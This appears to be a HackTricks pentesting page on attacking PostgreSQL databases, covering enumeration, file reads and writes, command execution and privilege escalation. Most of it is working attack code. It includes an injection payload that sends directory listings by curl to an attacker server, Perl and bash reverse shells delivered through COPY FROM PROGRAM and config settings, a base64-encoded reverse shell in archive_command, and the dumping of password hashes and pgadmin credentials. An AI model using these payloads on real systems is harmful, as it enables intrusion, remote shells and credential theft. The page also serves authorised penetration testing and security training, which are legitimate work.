# 5432,5433 - Pentesting Postgresql
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## **Basic Information** **PostgreSQL** is an open source object-relational database system that uses and extends the SQL language. **Default port:** 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## Connect & Basic Enum ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` {% hint style="warning" %} If running **`\list`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. {% endhint %} For more information about **how to abuse a PostgreSQL database** check: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) {% endcontent-ref %} ## Automatic Enumeration ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) ### **Port scanning** According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` * Host is down `DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?` * Port is closed ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` * Port is open ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` or ``` DETAIL: FATAL: password authentication failed for user "name" ``` * Port is open or filtered ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` Unfortunately, there does not seem to be a way of getting the exception details within a PL/pgSQL function. But you can get the details if you can connect directly to the PostgreSQL server. If it is not possible to get usernames and passwords directly out of the system tables, the wordlist attack described in the previous section might prove successful. ## Enumeration of Privileges ### Roles | Role Types | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Role has superuser privileges | | rolinherit | Role automatically inherits privileges of roles it is a member of | | rolcreaterole | Role can create more roles | | rolcreatedb | Role can create databases | | rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier | | rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. | | rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. | | rolpassword | Not the password (always reads as `********`) | | rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration | | rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. | | rolconfig | Role-specific defaults for run-time configuration variables | | oid | ID of role | #### Interesting Groups * If you are a member of **`pg_execute_server_program`** you can **execute** programs * If you are a member of **`pg_read_server_files`** you can **read** files * If you are a member of **`pg_write_server_files`** you can **write** files {% hint style="info" %} Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**. {% endhint %} ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### Tables ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### Functions ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## File-system actions ### Read directories and files From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` {% hint style="warning" %} Remember that if you aren't super user but has the **CREATEROLE** permissions you can **make yourself member of that group:** ```sql GRANT pg_read_server_files TO username; ``` [**More info.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) ### Simple File Writing Only **super users** and members of **`pg_write_server_files`** can use copy to write files. {% code overflow="wrap" %} ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` {% endcode %} {% hint style="warning" %} Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:** ```sql GRANT pg_write_server_files TO username; ``` [**More info.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** ### **Binary files upload** However, there are **other techniques to upload big binary files:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) {% endcontent-ref %} ## **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## RCE ### **RCE to program** Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), only **super users** and member of the group **`pg_execute_server_program`** can use copy for RCE (example with exfiltration: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` Example to exec: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` {% hint style="warning" %} Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:** ```sql GRANT pg_execute_server_program TO username; ``` [**More info.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE with PostgreSQL Languages {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} [rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md) {% endcontent-ref %} ### RCE with PostgreSQL extensions Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %} ### PostgreSQL configuration file RCE The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.** ![](<../.gitbook/assets/image (303).png>) #### **RCE with ssl\_passphrase\_command** The configuration file have some interesting attributes that can lead to RCE: * `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database * `ssl_passphrase_command = ''` If the private file is protected by password (encrypted) postgresql will **execute the command indicated in this attribute**. * `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**. Then, an attacker will need to: 1. **Dump private key** from the server 2. **Encrypt** downloaded private key: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Overwrite** 4. **Dump** the current postgresql **configuration** 5. **Overwrite** the **configuration** with the mentioned attributes configuration: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Execute `pg_reload_conf()` While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_. **More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.** #### **RCE with archive\_command** Another attribute in the configuration file that is exploitable is `archive_command`. For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations. The general steps are: 1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')` 2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Reload the config: `SELECT pg_reload_conf()` 4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions **More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** ## **Postgres Privesc** ### CREATEROLE Privesc #### **Grant** According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._ So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Modify Password Users with this role can also **change** the **passwords** of other **non-superusers**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER It's pretty common to find that **local users can login in PostgreSQL without providing any password**. Therefore, once you have gathered **permissions to execute code** you can abuse these permissions to gran you **`SUPERUSER`** role: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` {% hint style="info" %} This is usually possible because of the following lines in the **`pg_hba.conf`** file: ```bash # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust ``` {% endhint %} ### **ALTER TABLE privesc** In[ this **writeup**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) is explained how it was possible to **privesc** in Postgres GCP abusing ALTER TABLE privilege that was granted to the user. When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP:
Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table** **owner’s permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploitation 1. Create a new table. 2. Insert some dummy content to the table, so the index function has something to work with. 3. Create a malicious index function (with our code execution payload) on the table. 4. ALTER the table owner to cloudsqladmin , GCP’s superuser role, used only by Cloud SQL to maintain and manage the database. 5. ANALYZE the table, forcing the PostgreSQL engine to switch user-context to the table's owner ( cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions, resulting in executing our shell command, which we did not have permission to execute before. In PostgreSQL, this flow looks something like this: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` After executing the exploit SQL query, the `shell_commands_results` table contains the output of the executed code: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Local Login Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the **`dblink` function**: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` {% hint style="warning" %} Note that for the previos query to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with ```sql CREATE EXTENSION dblink; ``` {% endhint %} If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` It's possible to check if this function exists with: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Custom defined function with** SECURITY DEFINER \*\*\*\*[**In this writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters were able to privesc inside a postgres instance provided by IBM, because they **found this function with the SECURITY DEFINER flag**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
    RETURNS text 
    LANGUAGE 'plpgsql' 
    VOLATILE SECURITY DEFINER 
    PARALLEL UNSAFE 
    COST 100 
     
AS $BODY$ 
                DECLARE 
                     persist_dblink_extension boolean; 
                BEGIN 
                    persist_dblink_extension := create_dblink_extension(); 
                    PERFORM dblink_connect(format('dbname=%s', db_name)); 
                    PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 
                                               subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 
                    PERFORM dblink_disconnect(); 
… 
As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**. In the line 4 of the previous code you can see that the function has the **SECURITY DEFINER** flag. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` And then **execute commands**:
### Pass Burteforce with PL/pgSQL PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.\ **You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### logging Inside the _**postgresql.conf**_ file you can enable postgresql logs changing: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` Then, **restart the service**. ### pgadmin [pgadmin](https://www.pgadmin.org) is an administration and development platform for PostgreSQL.\ You can find **passwords** inside the _**pgadmin4.db**_ file\ You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg\_hba Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats: ![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg) **Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\ The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}